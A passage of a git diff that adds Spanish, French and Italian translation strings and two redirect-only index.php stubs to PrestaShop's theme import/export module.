+$_MODULE['<{themeinstallator}prestashop>themeinstallator_caeedb303068f9915e8e5ce091c9c02f'] = '(Atención: ya existe una carpeta con ese nombre)'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_2dd99d7426b4fe6dd04d7a98f5e32a62'] = 'Elija la declinación que desea importar'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f956917da1716add289f33a8869b85d4'] = 'Tema principal'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_1e3de51d693cd0c7e903bcf3769a0cdb'] = 'Desmarque este campo si no quiere instalar el tema principa'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c49fbf2b822fd14929fd1fd76cdb0c96'] = 'Seleccione las variaciones que desee importar'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7961c4434751797a383d52d647e044d6'] = 'Importar a partir del ordenador'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dec0faa6eb19bd9120d12c5a876bd1cf'] = 'Importar a partir del Web'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d1baba351b02042982a133c4df5d4924'] = 'Exportar un tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5092965125a28a17f49ee460fbc1f62c'] = 'Seleccionar un tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0557cae4cf5b379e665910d701210f69'] = 'Exportar este tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_1031371f906a92891140f384d04b3421'] = 'Se ha producido un error al general el archivo'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_2c19b34eebed37ccc288c518006615b3'] = '¡Hay un error de sintaxis en el campo \"email\"!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_129b7dae66f0029381da64578a351198'] = '¡Hay un error de sintaxis en el campo \"url\"!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_87e0eaf3f9614cb904fafb0d4f4c1f56'] = 'La extensión del archivo debe ser .txt o .pdf'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_550a06d4fd147c22a4c921036003abf6'] = 'Se ha producido un error al enviar la documentación'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ecd8e7704f6f4f730f6a43bfb24a9546'] = 'Introduzca un nombre de documentación válido'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_623e4ca0275c19c3134b7290fdd19264'] = 'Introduzca un nombre de autor válido'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a43f1054076c2389afd746ec3d5d1c71'] = 'Introduzca un nombre de tema válido'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_03d105aa95f842fc54b18ca8a73109ca'] = 'Introduzca un nombre de variación válido'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_9891d2e13ad8b753833055c5809a733e'] = 'Error de sintaxis en el campo versión. Solo se autorizan los números y los puntos y la contabilidad debe ser creciente o igual.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dd88d85745bba1abfa65cef79472da6a'] = 'Error de sintaxis en el campo versión. Solo se autorizan los números y los puntos y la contabilidad debe ser creciente o igual.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_bf17ac149e2e7a530c677e9bd51d3fd2'] = 'Módulos'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_714af595b1403ed23ff51f27e863c9a2'] = 'Seleccione los módulos que quiere exportar'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a517747c3d12f99244ae598910d979c5'] = 'Autor'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_49ee3087348e8d44e1feda1917443987'] = 'Nombre'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Email'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_15bbb9d0bbf25e8d2978de1168c749dc'] = 'Sitio Web'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d721757161f7f70c5b0949fdb6ec2c30'] = 'Tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f4f10e7d35bef4e7b48e76ee4bdeae24'] = 'El nombre de su tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_b5a7adde1af5c87d7fd797b6245c2a39'] = 'Descripción'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_742ec436610daf7b51a1ba94039adf78'] = 'Introduzca una descripción breve de su tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_34b6cd75171affba6957e308dcbd92be'] = 'Versión'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7da6f328a4647adb2b96a01a6d7c05c4'] = 'La versión de su tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_333dfbe2bb5c64b140df4607935ec8be'] = 'Compatible a partir de '; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_e12167aa0a7698e6ebc92b4ce3909b53'] = 'Hasta'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a82cac3db0465cfc701f3765fd880019'] = 'Añadir una documentación'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_08e27f4e5511f4f6aa73557e6ad6df48'] = 'Ayude un poco al usuario. Añada un campo pulsando aquí'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a508df4b049c5b044cb4568b76b6c7e6'] = 'Añadir una variación'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_626bd6acdcd835a5d064ef6358124b6c'] = 'Seleccione otro tema y su contabilidad para incluir'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ac70412e939d72a9234cdebb1af5867b'] = 'Camino'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5da618e8e4b89c66fe86e32cdafde142'] = 'A partir de '; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_3271e801d0a5db9dc2963a19ed9695d6'] = 'El nombre de su tienda'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ea4788705e6873b424c65e91c2846b19'] = 'Anular'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_abb381ee4077396e5d5d475b9022ba86'] = '¡Generar el archivo ahora!'; diff --git a/modules/themeinstallator/export/index.php b/modules/themeinstallator/export/index.php new file mode 100755 index 0000000..fd4b689 --- /dev/null +++ b/modules/themeinstallator/export/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/modules/themeinstallator/fr.php b/modules/themeinstallator/fr.php new file mode 100755 index 0000000..8157beb --- /dev/null +++ b/modules/themeinstallator/fr.php @@ -0,0 +1,106 @@ +themeinstallator_fff01a1de50e0559f82501a927654d1b'] = 'Importer / Exporter un thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_83ebbd7865677d356ffde5ad7e12784f'] = 'Exporter ou importer un thème et ses modules sur votre boutique.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ea5eb3f904bf42377277255cbd0e2251'] = 'Pour fonctionner correctement ce module nécessite que le module de rétrocompatibilité soit installé'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Pour fonctionner correctement ce module a besoin du module de rétrocompatibilité avec au minimum la version v'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Pour utiliser ce module vous devez installer le module de rétrocompatibilité'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_625752b5671445388af8f5e1ea3176c0'] = '%s ne peut être exporter. Celui-ci est invalide.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_25b9e1d82d8200d70be2b22a1a283957'] = 'Une erreur est survenue durant l\'envoi du fichier.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_050991b5b76aad0be75563b7cb93a33e'] = 'Seuls les fichiers .zip sont autorisés'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_57c1ed81b02e5d3361323c7930897295'] = 'Une erreur est survenue durant la copie du fichier.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5fd13c2b89a6eaaa4614bfe258f6c40f'] = 'Le fichier .zip semble corrompu'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0dea6caeb83e5c11d3678284e64ebed8'] = 'Une erreur est survenue durant le téléchargement du fichier'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c186217583219f4cd040d9ee8d388ffb'] = 'Une erreur est survenue durant l\'extraction du fichier .zip'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0210b6456cdccad569cb56026bb0f689'] = 'Mauvais fichier de configuration'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a7eca295291f53a23ab7ba0a9c7fd9de'] = 'Cette fonctionnalité a été désactivé.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5b6cf869265c13af8566f192b4ab3d2a'] = 'Documentation'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_6bdbe5a8a9f446d4d758ee4c22648771'] = 'Vous devriez consulter la documentation'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7348fd57bfb5c837fc57e54fcfeeed9e'] = 'Faites un clic droit sur le nom et choisissez \"Enregistrer le lien sous\"'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_00f0916ff7ef4b0a0583b679b6e84d8c'] = 'Les modules suivants ont été installés :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_9bdbe38cc4695eeb974613a148cc92b7'] = 'Les modules suivants ont été désactivées :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_04e4e6909614be09727ebe4fb79c9e27'] = 'Les modules suivants ont été activées :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0dfbf4744524c8573235d60589d8b66e'] = 'Les images ont bien été mises à jour dans la base de données'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_4e246bd71dd5fb033e402b373e6ee434'] = 'Attention: Copier/Coller vos erreurs si vous souhaitez définir manuellement le type d\'image (dans la page «Images» du menu \"Préférences\") :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_203c5dff06c7565ffd6713a914c62d16'] = 'Certaines ne peuvent pas être ajouté car elles existent. Voici la liste :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_3b90370ac32dead2af37eabe3bdbb97f'] = 'Nom du type d\'image :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dd1f775e443ff3b9a89270713580a51b'] = 'Précédent'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a20ddccbb6f808ec42cd66323e6c6061'] = 'Terminer'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_33167fe8de7517798cf2e95c7680d6a4'] = 'Les thèmes suivants ont correctement été importés'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f4ef3a40f287dd9849004a7f5af73f00'] = 'Attention : un module avec le même nom existe déjà'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_df8703a4066393da85e8188261660717'] = 'Sélectionnez les modules du thème que vous souhaitez installer'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7b8e139260e50dd81e70b6ef6910e6f6'] = 'Sélectionnez les modules qui doivent être désactivés pour ce thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7651cc4a979c5e21ee50de988ce574b0'] = 'Configuration des modules natifs'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_b63327da4aa6711172df3d4b337a567c'] = 'Cette option détermine quels sont les modules natifs qui doivent être activés/désactivés'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c62398aad687870575a4bd6d34d041bb'] = 'Conserver ma configuration actuelle'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_60c072d9e1166cec2cc60f06a018441c'] = 'Utiliser la configuration proposée par le thème (recommandé)'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_130c5b3473c57faa76e2a1c54e26f88e'] = 'Les deux'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_20be6bcfa3d8c557253841bf7b22235a'] = 'Sélectionnez votre boutique qui utilisera ce thème :'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_10ac3d04253ef7e1ddc73e6091c0cd55'] = 'Suivant'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5138a89d1b730dacf446855e15c24496'] = 'Vous êtes sur le point d\'installer le thème suivant'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f364da141450380ae79d7a45528f4c06'] = 'Ce thème est pour PrestaShop'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ac85d9784348dc8f0c2db93f4a095eb0'] = 'Attention : un thème avec le même nom de dossier existe déjà'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_8f3ea15c5b87db00561ccde5067310a5'] = 'pour PrestaShop'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_caeedb303068f9915e8e5ce091c9c02f'] = '(attention : un dossier avec le même nom existe déjà)'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_2dd99d7426b4fe6dd04d7a98f5e32a62'] = 'Choisissez la variation que vous souhaitez importer'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f956917da1716add289f33a8869b85d4'] = 'Thème principal'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_1e3de51d693cd0c7e903bcf3769a0cdb'] = 'Décochez cette case si vous ne souhaitez pas installer le thème principal.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d0594793a76c7e694f6bf7d4fea06a99'] = 'Nom du thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0205578268437a2c18d438b434b6d4cf'] = 'Répertoire du thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c49fbf2b822fd14929fd1fd76cdb0c96'] = 'Sélectionnez les variations que vous souhaitez importer'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_46e95e2b620606d0e54fdf9094346f79'] = 'Remarque: Le répertoire de la variation sera préfixé par le répertoire du thème.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dc87369c7dd7d760c8076a4e1a3805d0'] = 'Sélectionnez un thème a exporter'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d1baba351b02042982a133c4df5d4924'] = 'Exporter un thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5092965125a28a17f49ee460fbc1f62c'] = 'Sélectionner un thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0557cae4cf5b379e665910d701210f69'] = 'Exporter ce thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_73b423af0106343c060aefb660e79ff2'] = 'S\'il vout plaît, sélectionnez un thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7961c4434751797a383d52d647e044d6'] = 'Importer depuis l\'ordinateur'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_bc52857ec49d8de10e55171f5bbc7f2a'] = 'Fichier d\'archive'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_24ad8bfdfce09842a83f10d59a8ef01f'] = 'Où se trouve votre fichier zip?'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dec0faa6eb19bd9120d12c5a876bd1cf'] = 'Importer depuis le web'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a33388a338ee2b199d66112369279558'] = 'URL de l\'archive'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_cd8d9cc19984ccf9d314eee5eebfc2cc'] = 'Importer à partir du FTP'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_94f2371003860a92b12bf4c66b2851ac'] = 'Selectionnez l\'archive'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_43eed730e20e1fc8e2245e20046733ea'] = 'Sélectionnez le fichier ZIP que vous souhaitez utiliser (précédemment téléchargé dans le répertoire %s)'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ed5778790800282a0e2044e50ac20de3'] = 'Permission refusé. S\'il vous plaît mettre les permisssions du dossier: %s à 666.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ad8161d79988145440845b927e3708d4'] = 'Remplir ce formulaire pour exporter le thème %s dans un fichier ZIP'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_1031371f906a92891140f384d04b3421'] = 'Une erreur est survenue durant la génération de l\'archive'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_2c19b34eebed37ccc288c518006615b3'] = 'Il y a une erreur de syntaxe dans le champ \"email\"!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_129b7dae66f0029381da64578a351198'] = 'Il y a une erreur de syntaxe dans le champ \"url\"!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_87e0eaf3f9614cb904fafb0d4f4c1f56'] = 'L\'extension du fichier doit être .txt ou .pdf'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_550a06d4fd147c22a4c921036003abf6'] = 'Une erreur est survenue durant l\'envoi de la documentation'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ecd8e7704f6f4f730f6a43bfb24a9546'] = 'Veuillez saisir un nom de documentation valide'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_623e4ca0275c19c3134b7290fdd19264'] = 'Veuillez saisir un nom d\'auteur valide'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a43f1054076c2389afd746ec3d5d1c71'] = 'Veuillez saisir un nom de thème valide'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_03d105aa95f842fc54b18ca8a73109ca'] = 'Veuillez saisir un nom de variation valide'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_9891d2e13ad8b753833055c5809a733e'] = 'Erreur de syntaxe dans le champ \"version\". Seuls les nombres et les points sont autorisés, et la compatibilité doit être croissante ou égale.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dd88d85745bba1abfa65cef79472da6a'] = 'Erreur de syntaxe dans le champ \"version\". Seuls les nombres et les points sont autorisés, et la compatibilité doit être croissante ou égale.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_bf17ac149e2e7a530c677e9bd51d3fd2'] = 'Modules'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_714af595b1403ed23ff51f27e863c9a2'] = 'Sélectionnez les modules que vous souhaitez exporter'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_fa20578667f2e569f2ed1da415126040'] = 'C\'est une liste des modules installés qui ne sont pas natif.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a517747c3d12f99244ae598910d979c5'] = 'Auteur'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_49ee3087348e8d44e1feda1917443987'] = 'Nom'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ce8ae9da5b7cd6c3df2929543a9af92d'] = 'Email'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_15bbb9d0bbf25e8d2978de1168c749dc'] = 'Site Web'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d721757161f7f70c5b0949fdb6ec2c30'] = 'Thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f4f10e7d35bef4e7b48e76ee4bdeae24'] = 'Le nom de votre thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_b5a7adde1af5c87d7fd797b6245c2a39'] = 'Description'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_742ec436610daf7b51a1ba94039adf78'] = 'Entrez une courte description de votre thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_34b6cd75171affba6957e308dcbd92be'] = 'Version'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7da6f328a4647adb2b96a01a6d7c05c4'] = 'La version de votre thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_333dfbe2bb5c64b140df4607935ec8be'] = 'Compatible à partir de'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_e12167aa0a7698e6ebc92b4ce3909b53'] = 'Jusqu\'à'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a82cac3db0465cfc701f3765fd880019'] = 'Ajouter une documentation'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_08e27f4e5511f4f6aa73557e6ad6df48'] = 'Donnez un peu d\'aide à l\'utilisateur. Ajoutez un champs en cliquant ici'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a508df4b049c5b044cb4568b76b6c7e6'] = 'Ajouter une variation'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_626bd6acdcd835a5d064ef6358124b6c'] = 'Sélectionnez un autre thème à inclure et sa compatibilité.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ac70412e939d72a9234cdebb1af5867b'] = 'Chemin'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5da618e8e4b89c66fe86e32cdafde142'] = 'À partir de'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_3271e801d0a5db9dc2963a19ed9695d6'] = 'Choisissez un thème'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_abb381ee4077396e5d5d475b9022ba86'] = 'Générer l\'archive maintenant !'; diff --git a/modules/themeinstallator/index.php b/modules/themeinstallator/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/themeinstallator/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/themeinstallator/it.php b/modules/themeinstallator/it.php new file mode 100755 index 0000000..00ad1a9 --- /dev/null +++ b/modules/themeinstallator/it.php @@ -0,0 +1,78 @@ +themeinstallator_fff01a1de50e0559f82501a927654d1b'] = 'Import / export di un tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_83ebbd7865677d356ffde5ad7e12784f'] = 'Esportare o installare un tema ed i suoi moduli per il tuo negozio'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_25b9e1d82d8200d70be2b22a1a283957'] = 'Errore durante il caricamento del file.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_050991b5b76aad0be75563b7cb93a33e'] = 'Solo i file zip sono ammessi'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_57c1ed81b02e5d3361323c7930897295'] = 'Errore durante la copia dei file.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5fd13c2b89a6eaaa4614bfe258f6c40f'] = 'file Zip sembra essere rotto'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0dea6caeb83e5c11d3678284e64ebed8'] = 'Errore durante il download di file'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c186217583219f4cd040d9ee8d388ffb'] = 'Errore durante l\'estrazione zip'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0210b6456cdccad569cb56026bb0f689'] = 'Cattivo file di configurazione '; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5b6cf869265c13af8566f192b4ab3d2a'] = 'Documentazione'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_6bdbe5a8a9f446d4d758ee4c22648771'] = 'Si consiglia di consultare la documentazione'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7348fd57bfb5c837fc57e54fcfeeed9e'] = 'Fai clic destro sul nome e scegli \"Salva collegamento come\"'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_b857ef1f431c5f3290dc5b5e644826a6'] = 'I seguenti moduli sono stati installati'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_22c765d777eb4ca6b4292bcbb596872e'] = 'I seguenti moduli sono stati disabilitati'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_e501dc865768ac08d49c129a23c3ae09'] = 'I seguenti moduli sono stati abilitati'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0dfbf4744524c8573235d60589d8b66e'] = 'Le immagini sono state correttamente aggiornate nel database'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dd1f775e443ff3b9a89270713580a51b'] = 'Precedente'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a20ddccbb6f808ec42cd66323e6c6061'] = 'Fine'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_33167fe8de7517798cf2e95c7680d6a4'] = 'I temi seguenti sono stati importati con successo'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f4ef3a40f287dd9849004a7f5af73f00'] = 'Attenzione: esiste già un modulo con lo stesso nome '; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_df8703a4066393da85e8188261660717'] = 'Seleziona i moduli del tema che desideri installare'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7651cc4a979c5e21ee50de988ce574b0'] = 'Moduli di configurazione originali'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_130c5b3473c57faa76e2a1c54e26f88e'] = 'Entrambi'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c90ba3aaed0a2bafed18233111062cf0'] = 'configurazione immagini tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_332efbbfb2c4bd5a37fd7a55659b821a'] = 'Non cambiare nulla'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_10ac3d04253ef7e1ddc73e6091c0cd55'] = 'Successivo'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5138a89d1b730dacf446855e15c24496'] = 'Stai per installare il seguente tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f364da141450380ae79d7a45528f4c06'] = 'Questo tema è per Prestashop'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ac85d9784348dc8f0c2db93f4a095eb0'] = 'Attenzione: Hai già un tema con il nome della stessa cartella di'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_8f3ea15c5b87db00561ccde5067310a5'] = 'per Prestashop'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_caeedb303068f9915e8e5ce091c9c02f'] = '(Attenzione: una cartella con lo stesso nome esiste già)'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_2dd99d7426b4fe6dd04d7a98f5e32a62'] = 'Scegli le variazioni che si desidera importare'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_f956917da1716add289f33a8869b85d4'] = 'Tema principale'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_1e3de51d693cd0c7e903bcf3769a0cdb'] = 'Deseleziona questo campo se non desideri installare il tema principale'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_c49fbf2b822fd14929fd1fd76cdb0c96'] = 'Seleziona le variazioni che si desidera importare'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_7961c4434751797a383d52d647e044d6'] = 'Importa dal computer'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dec0faa6eb19bd9120d12c5a876bd1cf'] = 'Importare dal web'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_d1baba351b02042982a133c4df5d4924'] = 'Esporta un tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_5092965125a28a17f49ee460fbc1f62c'] = 'Seleziona un tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_0557cae4cf5b379e665910d701210f69'] = 'Esporta questo tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_1031371f906a92891140f384d04b3421'] = 'Errore durante la generazione di archivio'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_2c19b34eebed37ccc288c518006615b3'] = 'C\'è un errore nella tua sintassi e-mail!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_129b7dae66f0029381da64578a351198'] = 'C\'è un errore di sintassi URL!'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_87e0eaf3f9614cb904fafb0d4f4c1f56'] = 'File di estensione deve essere. Txt o. Pdf'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_550a06d4fd147c22a4c921036003abf6'] = 'È verificato un errore durante il caricamento di documentazione'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_ecd8e7704f6f4f730f6a43bfb24a9546'] = 'Si prega di inserire un nome valido documentazione'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_623e4ca0275c19c3134b7290fdd19264'] = 'Si prega di inserire un nome valido autore'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_a43f1054076c2389afd746ec3d5d1c71'] = 'Si prega di inserire un nome valido tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_03d105aa95f842fc54b18ca8a73109ca'] = 'Si prega di inserire un nome valido variazione tema'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_9891d2e13ad8b753833055c5809a733e'] = 'Errore di sintassi sul campo della versione. Solo cifre e punti sono ammessi e la compatibilità dovrebbe essere crescente o uguale.'; +$_MODULE['<{themeinstallator}prestashop>themeinstallator_dd88d85745bba1abfa65cef79472da6a'] = 'Errore di sintassi sulla versione. Solo cifre e punti sono ammessi e compatibilità dovrebbe essere in aumento o pari.'; 